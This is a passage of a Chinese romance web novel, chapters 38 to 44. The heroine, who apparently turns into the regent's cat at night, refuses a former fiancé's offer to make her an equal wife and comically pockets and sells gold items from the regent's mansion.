同样的神色,他在小福的眼里也看到过。
还未深想,就听她反驳——
“这个镯子可不止七两,不能抵。”
“实在不成,就算我欠你的,我欠你七两!”
一开始就觉得她很宝贝手腕上的黄金镯,生怕遭人惦记,现在看来,果真如此。
谢珩玉眉头微挑,“好。”
管家记下,“赵小姐,那你可莫要忘记这笔债啊。”
福宁自觉吃了哑巴亏,却无可奈何。
她的语气,没了即将要归家的喜悦,整个人蔫蔫地点头,行了礼后,步履艰难地离开。
现在的赵福宁,只是一个被迫离家做工,最后没得到报酬,还倒贴钱的女子。
还未走出庭院,她又忽然想开了。
摄政王贵人事忙,说不准没一会儿就忘了这七两银子呢?
最后,踏着快步消失在谢珩玉的视野中。
谢珩玉还没收回视线,随着那抹蓝色的身影消失,他的右手无意识地上抬,一下下摸着怀里的小福。
“王爷,这七两银子……”管家拿不住主意,“小的什么时候去要债合适?”
谢珩玉不缺这七两银子,“不急。”
“等赵府抄家的时候。”
*
府门外焦急等待的赵家父母,两颗心七上八下的。
赵应就差围着面无表情的侍卫转了,“这么久了,还没消息,不然再请您进去通报一下?”
侍卫一副秉公的态度,“已经传过了,王爷若要见你,自然会派人传话。”
没有人传话,那就是不见了。
容婉眉宇间是散不开的忧愁,“那能否问一问,我女儿在府中如何?吃了饭吗?有休息的地吗?”
侍卫:“……”
“娘——爹——”少女欣喜娇憨的呼唤传出。
赵应与容婉一同望去,“囡囡!”
只见一宿未归的女儿,摆着手跑出来。
她穿着一身宋锦所制的裙装,还是时兴的款式,这与他们夫妇想象中的“在王府受苦”有了出入。
广
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袖襦裙,一看就是干不了活的。
饶是摄政王府再富有,也没到给丫鬟穿宋锦广袖干活的地步。
赵家夫妇一边庆幸女儿没有被当做丫鬟对待,没有被刁难,一边又暗暗担心——
摄政王应该不是看上囡囡了吧?
或许,只是囡囡将小猫照顾得好了,所以待遇才会好些。
容婉拉住女儿的手,仔细摸了摸,女儿的手还是一如既往的细腻柔嫩,稍稍放心,“囡囡,我们回家。”
福宁点点头,上了马车后,见父亲总用犹豫的目光看自己,她忍不住问道:“爹,您有什么想问的,就问吧。”
赵应犹豫再三,低声问道:“摄政王他……没欺负你吧?”
怎么会没有欺负!
莫名其妙地让她欠了七两银子呢!
福宁心里暗骂谢珩玉的无耻,但看着父母担忧的目光,她还是选择摇了摇头,“没有,没有欺负我。”
还是不要让爹娘担心了。
七两银子而已,就算谢珩玉忘不了,她自个儿的小私库也能拿的出来。
不过,她肯定是要连本带利地讨回来的。
以后,拿黄金不手软了。
第39章 馊主意
赵应闻言,心安了,“摄政王喜怒无常,最好不要与之牵扯,昨夜我拜托了二皇子登门,也没能将你带出来……摄政王大权独揽,谁也拿他没办法。”
“爹爹不用担心,昨天也是意外——”话半,福宁抓到了重点,“二皇子登门?爹爹去拜托了二皇子?”
看着爹娘沉默的样子,她差点尖叫起来,“又花钱了??”
二皇子,可不是区区几两银子能求到的。
家里哪还有钱啊!
赵应叹气,“你娘拿了嫁妆出来,我才说动了二皇子。”
福宁现在很不好,“他是貔貅啊?”
“慎言!这些都不重要,只要你没事,娘做什么都值得,”容婉揽住女儿的肩,额头抵着女儿的脑袋,“若是你有个三长两短,叫娘怎么活啊!”
“娘……”福宁动容地垂着眸。
可是,出门一趟,家里更穷了。
这在回到家后,看见各处愈发空旷的房间后,才有了真实的更直观的感受。
那厢。
江雪娥收拾好心情回了家中,前脚刚踏入府门,就面对父母的问询。
伯府中人人皆知,今天大小姐被宫中女官领去了摄政王府,为的是试穿嫁衣。
虽然,让新娘子去新郎府上试衣,确实有些上赶着了,但谁让对方是一人之下、万人之上的摄政王呢。
府中上下,都对此十分关注。
寿安伯夫妇更是,“娥娥,摄政王选了哪一套嫁衣啊?诶,你怎么没将嫁衣带回来?”
跟着江雪娥的侍女两手空空,怎么去的,就是怎么回来的。
提到嫁衣,江雪娥的脑海里不免联想到在王府所受的**,她抬头,视线经过父亲满怀期待的脸、母亲关切的神色、厅堂内伺候着的丫鬟们低着的头。
**的事实,她说不出口。
所有人都以为摄政王心悦她、非她不可,以前敌对的千金贵女将她高高捧起,以前忽视父亲的官场同僚开始献着殷勤,母亲也终于在贵妇圈中扬眉吐气……
她,绝不容许自己沦为官宦京圈中的笑话。
哪怕丫鬟们都低着头,江雪娥也知道,她们一个个都注意力集中地等待着她的答案。
她的唇畔浮现出自然的笑容,“嫁衣选好了,正在王府存放着,这不是还没到婚期吗?”
“奥!也对也对!”寿安伯夫人又问,“王爷今日对你态度可好?没有因为昨日二丫头闹出的事,牵连你吧?”
江雪娥摇头,“王爷很好,母亲放心。”
寿安伯夫人彻底舒心,“那就好。”
“不过……”江雪娥欲言又止地看向寿安伯。
即便有了雀儿说摄政王与赵福宁之间没有私情,她心里还是有所顾虑。
这次小猫病了,谢珩玉不寻正经的医士入住王府,却偏偏选了赵福宁。
她心里总是不安的。
这次没有私情,那下次呢,下次小猫再病呢?
就目前来说,赵福宁便是她最大的阻碍与威胁。
寿安伯提心,“怎么?”
江雪娥:“父亲,听母亲说,您打算让二妹妹与长平侯世子定亲?”
“我的确有此想法,”寿安伯不觉得她是随便问问,“你怎么会问起这个?”
江雪娥唇线紧抿,眉头向下,无一不透着自己的少女心事,“自打昨日赵福宁去了王府,我心中便惴惴不安,今日我去王府,王爷虽以礼相待,可——”
她忽然停顿,扭头看向厅堂中的下人,摆摆手,示意下人们退下。
“可是怎么?”寿安伯着急相问,跟摄政王有关的,都是头等大事。
等厅中没了外人,江雪娥的声音重新响起:“明明昨儿给赵家递了口信,可赵福宁还是在王府过夜了,焉知是不是存了要攀附王爷的心思,他们所图甚多,不可不防。”
寿安伯夫人想不通,“这……我瞧着赵家丫头比你逊色不少,王爷应该是看不上的啊。”
江雪娥又道:“母亲,我亲眼所见,她与王爷同桌用膳,举止亲昵!”
寿安伯当即脸色大变,“当真?!”
王爷是何等身份,外人都道他狠毒无情,哪怕是对未来岳丈也是冷漠至极。
倘若王爷与赵福宁之间一点情愫也无,就凭赵家犯的错,王爷都不可能给赵福宁好脸色看。
寿安伯的心仿佛被揪起,难以置信,“难道王爷真的对她有意?”
寿安伯夫人
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:“那丫头有什么好?”
寿安伯凝重道:“说不准就是那丫头使了手段,往日看不出来,赵应竟也这样不老实,不过想来也是,赵家想东山再起,将女儿送给摄政王是最轻松的捷径。”
“如今娥娥与摄政王还没大婚,不得不防。”
江雪娥见父母如意料中开始担忧,“父亲母亲,我有一计,原本崔赵两家就有婚约,若非崔家退婚,赵福宁也不用走到这一步,她与崔兰亭青梅竹马,若是我们能促成两人婚事,我们所担忧的,自然迎刃而解。”
寿安伯倒不是不认同,“哪怕赵家不被抄家,赵应也休想在做官了,就这现状,崔家又不傻,就算没有你二妹妹,两家的婚事也不可能成了。”
江雪娥笑了笑,“爹,我的意思是,让二妹妹嫁过去,而您呢主动提议让崔兰亭纳赵福宁为妾,并让崔家多出些聘礼。”
“啊?”寿安伯都没反应过来,想到二女儿,顾虑道:“赵福宁崔兰亭青梅竹马,往后你妹妹的日子要怎么过?”
江雪娥面上表现出心疼之色,委婉道:“爹,崔家想求娶二妹妹,是因为我会成为摄政王妃,可若我的王妃之位受到威胁……”
瞬间,寿安伯就有了决断,“你说的对,总归赵福宁嫁过去也是个妾室,威胁不到你二妹妹。”
寿安伯夫人忽然开口,“娥娥啊,若如你所说,赵家丫头那么厉害、得了王爷欢心,能威胁到你的地位,那她去王府说不准还能谋个庶妃的位子,她怎么会放着摄政王不要,去侯府当妾?”
这也是江雪娥担心的,她眼中划过一丝阴狠,“妾室不行,就平妻,加上她和崔兰亭青梅竹马的情分,她未必不会答应。”
“爹,这件事,还要拜托您与崔家协商了。”
只是,崔兰亭若以平妻之位迎娶赵福宁,这对二妹来说,是莫大的侮辱。
但是江雪娥管不了那么多了,她必须解决这个威胁,她必须嫁给摄政王。
等她嫁给摄政王以后,伯府就会蒸蒸日上,届时也能成为二妹的靠山。
至于赵福宁那个没有可靠娘家的平妻,又和妾室有什么区别,还不是任由二妹拿捏处置。
第40章 你们三人把日子过好!
三人商量好后,恰逢长平侯一家再度登门拜访,由寿安伯出面,以为崔家好的口吻,提出这善解人意的主意。
字里行间,都是对赵家遭遇的惋惜。
作为昔日赵应的好友兼下属,寿安伯不忍崔赵关系土崩瓦解,愿意让崔家以平妻之位迎娶赵福宁。
又称女儿娇娇与赵福宁本就是手帕交,一同嫁进侯府也有个伴,娇娇作为嫡妻,也不会为难赵福宁,两人可以不分大小。
一番话下来,长平侯府夫妇连同崔兰亭都惊呆了。
寿安伯大气得有点过头吧?
半晌没有反应,还是寿安伯爽朗一笑过后,长平侯夫妇才开始接话。
侯夫人尴尬道:“这……你家娇娇愿意?”
寿安伯:“她识大体,自然是愿意的。”
侯夫人原本就在为儿子的心意而烦忧,寿安伯的提议,既全了侯府联姻之心,也全了儿子的姻缘,这是两全其美的。
那赵福宁不愿意做妾,如今给她做个平妻总行了吧!够抬举了!肯定不会再拒绝了。
正要表示感谢,却被最该感到高兴的人打断。
崔兰亭俊秀的面上一直抿着笑,没拒绝,也没同意,“江伯伯,这样恐怕让伯府失了颜面。”
仿佛是在为伯府着想,但唯有他自己知道,他做梦都想娶的人,只有皎皎。
可是眼下娶皎皎是不可能的,今日来寿安伯府,他也并不情愿,却又碍于家族未来、父母逼迫,不得不这么做。
寿安伯能退让这一步,对崔兰亭来说,是意外之喜。
只是,寿安伯为什么会这么好心?
他不解。
寿安伯看向崔兰亭,“你们三人青梅竹马,我也是放心将娇娇托付给你的,只要你们幸福,这算得了什么。”
崔兰亭试探道:“恐怕赵家不会愿意。”
寿安伯语气轻松,“赵家现在日子并不好过,贤侄态度好些,聘礼再加一些,姑娘家闹脾气,你哄一哄就成了,若还不行,我让娇娇也去劝劝。”
竟还给他出主意了。
崔兰亭更加确定,寿安伯有别的算计。
可是,又不免为寿安伯的提议而心动,他想娶皎皎,只有这样才能不委屈皎皎。
哪怕伯府有别的算计,他也暂时顾不得了。
过后,崔兰亭去探望了江月娇,将家里准备好的礼物赠予她。
她欢喜不已。
当时的江月娇,还并不知道父亲的想法,只一心沉浸在要嫁给崔兰亭的期待里。
到了晚上,寿安伯跟她说了这件事,她气得哭了一宿。
而到这一步,当事人之一的福宁,还什么都不知道。
不知道自己在崔江两家人的心里,已经单方面从妾室的升级到了平妻。
她只知道,今晚要连本带利地偷黄金回来。
然而,偷黄金的难度实在太高了。
不知道为什么,今晚谢珩玉不抱着她睡了——有此疑问,不代表她想被抱着睡哦,只是单纯奇怪而已。
反正,福宁被关在了他隔壁的小屋里,出不了门,自然偷不了黄金。
但天无绝人之路,漆黑的房中闪过一道耀眼的金光。
门开了,月光从门缝中溜进来,与月光一道的,还有白昼。
他捧着一个黄金打造的小屋,在她震惊的注视下,将黄金小窝放在了她的面前,然后温柔地示意她——
“虽然不知道王爷为什么不陪你了,不过可以有黄金陪你,你乖乖地睡吧。”
语罢,他还轻柔地摸摸她的脑袋。
谢珩玉和白昼,一个无情,一个毒舌,这对主仆却在面对小福的时候一致地温柔护短。
这时候也不是纠结态度的时候,福宁看着面前闪到晃眼的黄金屋,长度有两只小福那么大。
真是阔绰呀!
“喵~”
可她早上,明明说了不要黄金
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屋,要小黄金的,谢珩玉和白昼为什么不听。
这么大的黄金屋,带不走不说,就算带走了,她心里也过意不去呀!
“睡进去试试,”白昼抬手,直接将她拎进屋子里,“舒服吧?”
答案当然是不舒服!
“喵呜!”
福宁只觉得,硬邦邦硌得慌,不如床榻软。
白昼听不懂她的嚎叫,以为她是太开心了,遂放心地离开屋子,将门关上。
漆黑的屋内,只剩下纠结的福宁,和冰冷的黄金。
所以——
这么大的黄金屋,带得走吗?
可是,这东西价值不菲,真带走的话,会不会太邪恶了呀?
但是不带走,她今天不就空手而归了吗?
脑海里,一个高尚有原则的小人,和一个没原则的“刁民”吵了起来。
高尚小人:“不能拿,以前拿点小的,是因为爹爹送出去了很多,拿回来算是物归原主,但这个,是摄政王买给小福的,拿了可就算偷了!”
野蛮刁民:“既然你非要定义为偷,那我只能说,贼不走空了,拿!”
高尚小人要被气厥过去:“你!”
野蛮刁民仰起高傲小脑袋:“你仔细想想,要不是摄政王非得‘**’我,爹爹至于把娘的嫁妆都送给二皇子吗?不仅如此,说好的工钱也不结,还要我倒贴!那衣裳是我要穿的吗,是小云拿给我的啊!我的苦跟谁说去,他那么有钱,他心软了吗?”
“我那么贫穷,年纪轻轻背了债务,我心软是要吃苦头的!”
谁话多,谁有理。
高尚小人败了,败得一败涂地。
但还是垂死挣扎地说了句,“可那是送给小福的东西,不经过小福的同意,拿东西是不好的。”
刁民抬头向虚空,“小福,你同意吗?”
黑暗中,福宁自我欺骗地动了动。
那颗毛茸茸的脑袋点了两下。
第41章 崔兰亭让她做平妻
好,现在问题来了,这么大的黄金该怎么拿回去。
福宁趴在里面,四只爪,勾住四根底部黄金。
然后脑袋一倒,硬生生睡着了。
睡得迷迷糊糊,昏昏沉沉,心越跳越快。
榻上的少女唇色发白,呼吸变得困难。
胸上沉甸甸的像被石头压着,她骤然惊醒,大吸一口气,眼神往下一瞟——
黄金屋正压在她的身上,从胸上压到大腿的位置。
这得有多重啊,少说七八斤得有吧!
真是罪恶。
罪恶的福宁,不敢让人发现黄金屋的存在,这玩意拿出去销赃都很招眼,还是先藏起来,等过阵子吧。
她没有跟之前一样将黄金埋狗洞边上,因为那得挖很大一个坑,也很显眼。
想了想,还是藏东西藏进装衣裳的箱子里,再拿衣服掩盖在其上。
但是手腕上的镯子,得趁早拿下来,省得提心吊胆怕被人发现。
福宁打定主意,今天要去一趟照金楼,把手镯取下来熔了卖了。
“小姐,您醒了吗?”阿婵在外道,“崔世子又来了。”
从前,阿婵都是说“崔世子来了”,而今加了一个“又”字,体现出浓浓的嫌弃意味。
福宁藏好黄金屋,才许阿婵进屋,“他来作甚?”
阿婵嗔怒地猜测,“不知道,肯定是还想说服老爷夫人,让小姐做妾,真过分,只见过劝人从良的,哪还有求人做妾的!”
福宁得了黄金的忐忑散去,垂着眸换了件衣裳,“我去看看。”
阿婵又道:“小姐不用担心,老爷夫人绝不可能同意的,您不用过去,估计过不了多久,崔世子彻底耗尽老爷夫人的耐心,就会被赶出去了。”
此时,母亲身边的耿嬷嬷亲自来了,站在门外,“小姐,老爷夫人请您去前院,商量要事。”
“什么要事?”跟崔兰亭有关的事,福宁想不出来还有什么了,婚都已经退了。
她不可能做妾的,有什么可商量的?
阿婵过去开了门。
耿嬷嬷跨进屋内,看见正在铜镜前梳发的少女,斟酌开口,“小姐,崔世子想聘您为平妻。”
“啪嗒。”梳子掉了。
福宁丝毫不觉得高兴,“平妻又比妾室好到哪里去,不过是看我不愿意做妾,耿嬷嬷,难道爹娘让我过去,是想问我的意见吗?他们能同意?”
耿嬷嬷想了想家中现状,苦涩道:“老爷夫人并未同意,只是忧虑小姐的未来,问问小姐的意思。”
说到底,就是爹娘并不像抵触崔家让她做妾一样,反对她做平妻。
否则,哪会问她的意思,直接就拒绝了。
福宁皱眉,“莫说是平妻了,即便现在他想娶我做原配妻子,我也不能同意了!”
落难之后坚定的选择,和被拒绝后没办法才给出的位置,还是十分有区别的!
耿嬷嬷站在原地,叹息着,没有动。
福宁知道耿嬷嬷代表着母亲的意见,或许他们都觉得,嫁给侯府世子、新科探花做平妻,是她目前最好的选择了。
她垂眸,最后还是起身去前院,她要亲自去和崔兰亭说清楚。
到时,待客厅两门敞开,福宁看见父母端坐,并不热情地与崔兰亭说着话。
以前,崔赵两家来往密切,爹爹将崔兰亭当做未来女婿,会邀他共赏字画、主动问他功课为他解惑。
而现在,她能从爹爹脸上看出生疏与不满。
不满之色,只是偶尔从面上划过,爹爹像在极力压下去,不想直接摆臭脸。
崔兰亭穿着一袭云纹锦袍,颜色还是他最喜爱的月光白,领口勾勒着银丝,腰间嵌着玉带蹀躞带,衬得他清冷高雅。
好像一切都还与往常一样,他说着话不忘转头朝门外看,在瞧见福宁时,放在膝盖上的手紧了紧,朝她露出温润的笑——
“皎皎,你起了。”
福宁礼貌地点点头,
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视线掠过他,走进屋内,却并不坐在他身边。
而是落坐在他的正对面。
赵应张了张嘴,有些话难以开口,“囡囡……耿嬷嬷可有跟你说……”
“爹,”福宁直接对父母道,“我不愿意,我不会做妾的。”
她的回答,也算在赵应与容婉的意料中,他们确认了她的心意,点点头。
崔兰亭面上的笑顷刻间变得破碎、僵硬,他尽量温柔,声音还是不免染上急切,“不是妾,是平妻,皎皎,是平妻,与正妻不分大小。”
福宁一言难尽地看向他,“平妻与妾室没什么不同,不过是叫着好听,自我欺骗罢了。”
崔兰亭仿佛没有料到会被拒绝,有一丝挫败,再度看向赵应和容婉,“伯父,伯母,我可以保证,绝不会让皎皎受任何委屈。”
这是知道她不同意,还想从她父母那头下手。
呵。
福宁低头,明明现在就已经很委屈了。
而后,听母亲语气冷淡地道,“崔世子,囡囡不愿意,我们是不会勉强她的。”
还好,她还有爹娘,是永远站在她这头的。
崔兰亭唇间苦涩,“伯母如此唤我,是折煞我了。”
赵应起身,严肃地端出一家之主的架子,“也是我往日错看了你父母,娶妻这等大事,你父母都不同你一起来,怠慢至此,要我们怎么信你?你们之间彻底说清楚也好,两家没有深仇大恨,往后桥归桥路归路,我就不留你用午饭了。”
崔兰亭心中忐忑,解释道:“伯父,若你们答应,我父母一定是会上门提亲的,聘礼与婚仪,都是按照娶妻——”
福宁听不下去了,也不想给他希望,“不必再说了。”
在他苍凉的目光转过来时,她拔高声量以表决心,“你是侯府世子,今科探花郎,是我们赵家高攀不起侯府,我们曾是未婚夫妻,以后别接触了,省的让你未来的妻子——江月娇误会。”
第42章 摔掉定情信物
“什么?!”赵应震惊又生气,质问道:“你要娶的,是……你明知道那是囡囡的朋友,你们,你们欺人太甚!”
福宁看着崔兰亭的面容渐渐失去血色,他上门提平妻之事,竟连要娶谁为妻都不敢说出来。
他明明眸光闪躲,却还要直视着她,“你,知道了?”
福宁自嘲一笑,“你们在伯府私会,那日参加宴会的哪个不知?”
语罢,她不理会他的难过,起身走出厅堂。
身后,是茶盏摔碎破裂的声音,还有爹爹忍不下这口气、骂人的言语。
她刚走出这间庭院,准备出府卖镯子,后头的人就不顾一切追了出来。
厅堂中,赵应见崔兰亭跑了出去,眉头一横,“他还想纠缠囡囡吗?真当我吃素的?来人!”
“夫君,”容婉阻止,“让他们彻底说清楚也好,囡囡就不会后悔了。”
*
“等等!”
福宁并未停下脚步,直到崔兰亭拦在她的面前。
她被迫停下,清楚地看见他额间的血痕,还有血珠爆出。
“皎皎,我知道平妻是委屈你了,但是现在,我想不到比这更好的办法。”
他睫羽轻颤,语气里有歉疚、有无措、有委屈,他在向她展露脆弱,眸中还燃着最后一点期盼,盼她可以心软一点,“这是我能够给你争取到,最体面的位置了,以后,等我们有了孩子,我一定让我们的孩子做世子,好不好?”
福宁的脸上没有动容,甚至有些不解,“你说的这份体面,我不需要。”
崔兰亭垂着眸,长睫在眼下透出阴影,声音忽然放轻了,苦涩又无奈地问:“哪怕眼下局势如此,你也非要做正妻吗?”
福宁看着他那双看似伤心、卑微的眼眸,但他其实一点都不卑微,哪怕是现在。
他骨子里属于侯爵世子的高傲,让他觉得,他给出了平妻的位子,于现在的她来说,就该欢喜地接受,不该有拒绝的理由。
即使他们青梅竹马,曾是未婚夫妻,但伴随着赵家这出意外,在他心里,他们的关系已经不再对等。
这就是所谓世家培养出来的,最懂得权衡利弊的继承人。
他越是如此,福宁越是释怀,“不,在你问出这句话的时候,就注定了——”
“即便是正妻,我也不会嫁你。”
眼前的人明明没有怎么变,福宁却对他多了一丝厌恶。
许是她眼中的厌恶,灼伤了崔兰亭,他的眼睑红了,期盼褪去,温柔不再,“可是除了我,你没有更好的选择。”
崔兰亭的面上覆上阴霾,连额头上的血都好似黑了一些。
他靠近一步,单手拉住她的手腕,感受到她的挣扎,他也不愿意松开,“你这么单纯,还这么娇气,不嫁我,难道要跟着你父母受罪?还是将来嫁个破落户做正妻?别人养得起你吗,皎皎,你看清楚,只有我,愿意陪你闹。”
他的字里行间,都是强势。
不跟他父母强势,就跟她强势,不就是觉得她现在好欺负吗!
“你松开我!”福宁看着他贴近的脸,昔日的喜欢全转化为了厌恶,抬手就扇了上去,“谁要你养!”
一巴掌,打得并不重。
崔兰亭愣了愣,忽然松开了手,大概也是清醒些了。
福宁怒目而视,眼神上瞟,看见了他头上的玉笄,她伸手想将玉笄收回来。
一抬手,崔兰亭下意识地偏头。
她的手一顿,人也一愣,“我还没那么喜欢**。”
崔兰亭想到了什么,眼眸重新染起光亮,他主动低了低头,让眼前的人儿可以轻易碰到自己的额角。
刚才赵应砸茶盏,他没有躲。
想到以前,不小心受伤时,皎皎也会帮他擦药,他又觉得自己刚才语气过重了,正打算放下姿态道歉:“刚才我——”
余光瞥见她的手直直地从额间错过,然后,取下了他的玉笄。
……
福宁不是没看见他的伤,但是觉得他有点活该。
她忽视了那道伤痕,有了崔兰亭的配合,她轻易地就取下了当初送给崔兰亭的礼物。
这支玉笄,不该再戴在他的头上了。
取下的同时,发冠固定不住,一同掉落,他一头青丝随之散开。
福宁拿着玉笄,对上他错愕的脸,道:“
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这个,就不给你留作念想了,让江月娇送你新的。”
她转身要走,转身的一刻,恰好对上十丈远的府门外,多了一架寿安伯府的马车。
江月娇来了。
不知道是什么时候来的,来意是何?说不准就在府外偷听。
看来板子打得不够疼,这么快就能出门了。
“给我。”崔兰亭郁气横生,再次抓住她的手腕。
福宁不肯,“不给。”
崔兰亭伸手去抢,两人争夺过程中,她手腕上的金镯子露了出来。
福宁见他面无异常,显然不认识镯子,但她自己急了,索性将玉笄摔在地上。
“啪嗒”四分五裂。
宁为玉碎。
得亏是玉做的,不是木。
福宁语气不善,“你满意了?”
这话,也是崔兰亭想问她的。
他站立原地,盯着碎了的玉笄,蹲下身。
在外偷听的江月娇不顾门房阻拦,跑了进来,“谁敢拦我!”
门房都愣了,这还是从前那个善解人意的江小姐吗?
江月娇看不得崔兰亭被这般折辱,不过一支碎了的玉笄,就击破了他的高傲,让他折腰去捡,全然不顾披散着的头发与体面了吗?
江月娇想将人扶起来,可崔兰亭却执意要将四分五裂的玉笄捡起来。
她愤恨地对上福宁冷漠的姿态,“你满意了?”
福宁皱眉,“我看是你满意了!”
江月娇想到家中父母执意要让赵福宁做平妻,就气恼得很,凭什么因为姐姐拿不下摄政王,就要让自己牺牲委屈?
今天跑来偷偷看一眼,没想到,心中谪仙般的人物,竟叫赵福宁这样随意对待!
赵福宁究竟有什么好!能让崔兰亭忍到这一步!
不行,绝不能让赵福宁进府做平妻!万一真叫她做了平妻,还有自己什么事儿啊!
但不能直说不满,会让崔兰亭不高兴的。
江月娇咽下憎恶与委屈,咬着牙忍着脾气,柔声劝道:“皎皎,你难道非要我让出正妻的位子吗?我都不计较颜面,许你做平妻,我们三人一起过日子,你还有什么不满?你还打他!”
第43章 销赃被发现?
什么叫三人一起过日子?
江月娇有毛病吧!
福宁不可置信,无言以对,“……”
江月娇见她不言,继续展示着自己的大方,“你总不至于觉得,摄政王真能看得上你吧?以摄政王的权势,要什么女人没有。”
“够了。”崔兰亭将碎了的玉笄塞进怀中,沉声打断,“皎皎不可能喜欢摄政王的。”
他话说得笃定,那眼睛却直直地凝视着福宁的表情。
福宁闭了闭眼,叹了口气,“你们俩,能不能,别在我家——算了,我走!”
实在忍不了了,她转身跑了。
崔兰亭看着她出府,不自觉地抬步想追。
他内心不安,总觉得今日若不追去,他就会永远地失去她。
然而,手臂**月娇拉住,“兰亭哥,你让皎皎自己冷静一下,想想清楚吧。”
江月娇的声音,如春日细语,轻柔得像在人心里挠痒痒。
崔兰亭的眼底逐渐失了温度,冷了下去,在扭头对上江月娇时,露出那副名为温润的假面,“好,你的伤好了?”
一提起来,江月娇就觉得屁股疼。
但,被他关心了,她就如吃了蜜糖似的,“好多了,我们回去吧,我帮你伤口处理一下。”
“等等,”崔兰亭道,“我去与伯父伯母说一声,你要一起吗?”
江月娇面上无措,“啊?我,我就不去了吧。”
她害怕。
心里虚虚的。
崔兰亭温和道:“那你先走。”语罢,顾自朝着厅堂的方向走回去。
江月娇在原地怔了片刻,还是决定到门口去等他。
刚才她来得晚,只知道崔兰亭挨了一巴掌,然后两个人争抢玉笄,她没有听见先前两人说了什么。
不过,肯定也是崔兰亭的一些哄她的话。
江月娇自知自己会是正妻,可心里还是憋闷得慌,她不确定,要多久才能真正走到崔兰亭的心里。
赵福宁既成了姐姐的威胁,也成了她的威胁,如此,不还是直接解决掉更好吗?
反正赵家已经倒了,谁还会管赵家人的死活。
想着,她的眼中闪过一丝阴狠。
*
照金楼不是京城中头号黄金铺,很少有达官贵人的涉足,反而是日子较为滋润的小老百姓和富户光顾得多。
因为每月收入在一众黄金铺中算少,照金楼开在了西市不起眼的位置。
这会儿,顾客也少。
福宁让阿婵候在外头,独自进入其中。
她没瞧见,就在她进入照金楼之后,街道上跑过一队士兵,为首的,手上还拿着一叠纸——
“摄政王府遭贼,若干黄金被**,知情者上报赏金百两,若知情不报——”
街上路人个个往后退,能潜进摄政王府偷黄金的,比是虎背熊腰的大盗,他们怎么可能知道是谁?
他们眼中根本没有对赏金的渴望,只有怕靠近被错抓的恐惧。
画着黄金样式的图纸漫天洒下,等士兵们离开西市,阿婵才敢去捡一张看看。
没见过,不认识。
阿婵默默放回地上,顾自守在照金楼外。
照金楼的掌柜是名年轻的女子,一袭织金华服,发簪钗饰耳环无一不是黄金所制,金光闪闪,全身就写满了一个字,“富”。
福宁左右瞧瞧人不多,低声说了来意,卖镯子。
掌柜热情的笑容不变,盯着她臂腕上的镯子,上手就去摸。
福宁也顺势看见了掌柜手臂上一串五六个金镯,以及十指上满满当当的金戒指,款式各不同,还都是叠戴。
倒显得她手上光秃秃的。
掌柜摩挲着她手腕金镯纹路,“工艺不错,不过……这镯子这么小,姑娘你怎么戴进去的。”
福宁瞎编,“小时候戴的,长大了就取不下来了,这不,才来卖了嘛。”
掌柜眼梢弯弯,带着她去了一间小屋子。
福宁是第一次来照金楼,发觉这与其他的首饰黄金铺很不同,虽然地处偏僻,店面看着也不算大,但通过小道,才能看出照金楼别有洞天。
一楼的后院,有多间待客用的屋子。
她坐在其中一间小屋里,心想,若自己是照金楼的东家,肯定不会租买这么大的店面,生意又不好,应该要开源节流才对。
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>看,地上都只能用粗糙的木板,连地缝都参差不齐。
她明明没有表达疑惑,掌柜却意外地乐于给她解答,“姑娘,我们虽做的小本生意,但也是希望能留住顾客的,为了给顾客更好的体验,单独隔开几间屋子,算是给老顾客的福利,这样他们来挑选首饰的时候,还有茶水喝。”
福宁随意地点点头,掌柜用了工具将手镯锯开。
她收回发酸的手腕,询问,“可以熔掉卖吗?”
掌柜噗嗤一笑,“镯子都被锯开了,自然要熔的。”
福宁还是担心,“可以现在熔掉吗?”这样她看着放心。
掌柜的笑忽然敛了敛,看向她的目光带着探究,“姑娘为何这般急切?”
福宁心一虚,摇摇头,“不是,我就问问。”
掌柜将镯子称了重,“每日收来的金饰,会统一在打烊前熔掉,姑娘的镯子看着大,倒是不重,给您算十七两吧。”
不重?
福宁眼睛眯了眯,眼底都是对送镯子之人的唾弃。
好哇!也不知道是谁送的,竟然糊弄太子!
当然,也有可能是她爹送的。
算了。
“好,十七两。”总归是有了进账。
还销毁了一件赃物。
掌柜给钱爽快,福宁拿了钱袋子离去时,正好有一位顾客从外走进来,手上拿着一份图纸。
福宁没在意,颠着钱袋子,步伐轻快地带着阿婵去买桂花糕。
照金楼内。
顾客将图纸随意放在首饰柜上,掌柜一瞥,图纸上写着:“摄政王府被**黄金若干,若有线索赏金百两。”
写着若干,但图纸上只画了两件东西。
一,是一个做工繁琐的黄金屋,看着就是价值不菲。
二,是一个镂空雕花的镯子,工艺还行,重量和价值比不上第一件。
眼熟,刚刚还见过第二件。
这镯子其实不能算特别,王府丢失的镯子,与方才那姑娘卖的,未必是同一件。
但,真的有这般巧合的事吗?
王府刚丢了物件,那姑娘恰好来卖黄金,还着急想熔掉,越想越像是销赃。
第44章 哥哥寄信回来啦!
掌柜眼中复杂,让店中伙计招呼顾客,自己则带着刚收来的镯子,朝照金楼的里间去。
若福宁此时还在,就能看见,刚才觉得粗糙的木板竟能直接掀起,底下是个地道。
穿过地道,女掌事直接通往权贵**的城北某座七进宅邸。
宅子清静雅致,宅子的主人必是个大人物,府中下人个个都不讲话,显得女掌柜身上黄金钗环晃荡的声音十分突兀。
凉亭外,几名侍卫肃穆地守着,凉亭内男子正在往旋转风扇里加冰水。
掌柜走到凉亭外被侍卫拦住,“主人。”
男人的衣领开到了胸前,脖颈处挂着一根黑绳,黑绳下垂,挂在线条分明的紧致的身躯中间,露出了半块粉玉所致的平安扣,另半块被衣裳掩住。
男人研究着风扇的滚轮,摆了摆手。
掌柜踏入凉亭,将锯成两半的金手镯递到桌上,“这是赵小姐去照金楼典当的,属下给当了十七两。”
男人这才抬头,平淡的双眸起了波澜,“赵家穷到了这步田地?”
掌柜点头,看来是的,不然也不会让一个姑娘家卖首饰,“还有一事,摄政王府失窃了,其中被盗的金手镯,与赵小姐卖的,一模一样。”
男人皱了皱眉,不悦道:“还偷了东西。”
女掌柜请示:“可要移交给摄政王?”
“其中肯定有原因,”男人沉默片刻,变了态度,“是皇叔非要留她在府里,退一万步说,皇叔也有责任。”
女掌柜:……
谢燎慨叹一声,“凫泽不在,本王也不好对赵家的贫穷视而不见。”
也不知是说给谁听,说完,才下命令,“取纸笔来。”
同在城北,一条街相隔的摄政王府,气氛压抑了半日。
事情要从早上说起,清早谢珩玉下朝回来,打开偏房的房门,就见小福可怜巴巴地睡在地上,黄金屋不翼而飞了!
昨天,亲手交给白昼的大黄金,今天就不见了!
钱倒不是大问题,重要的是,这么大件的东西不翼而飞,很恐怖。
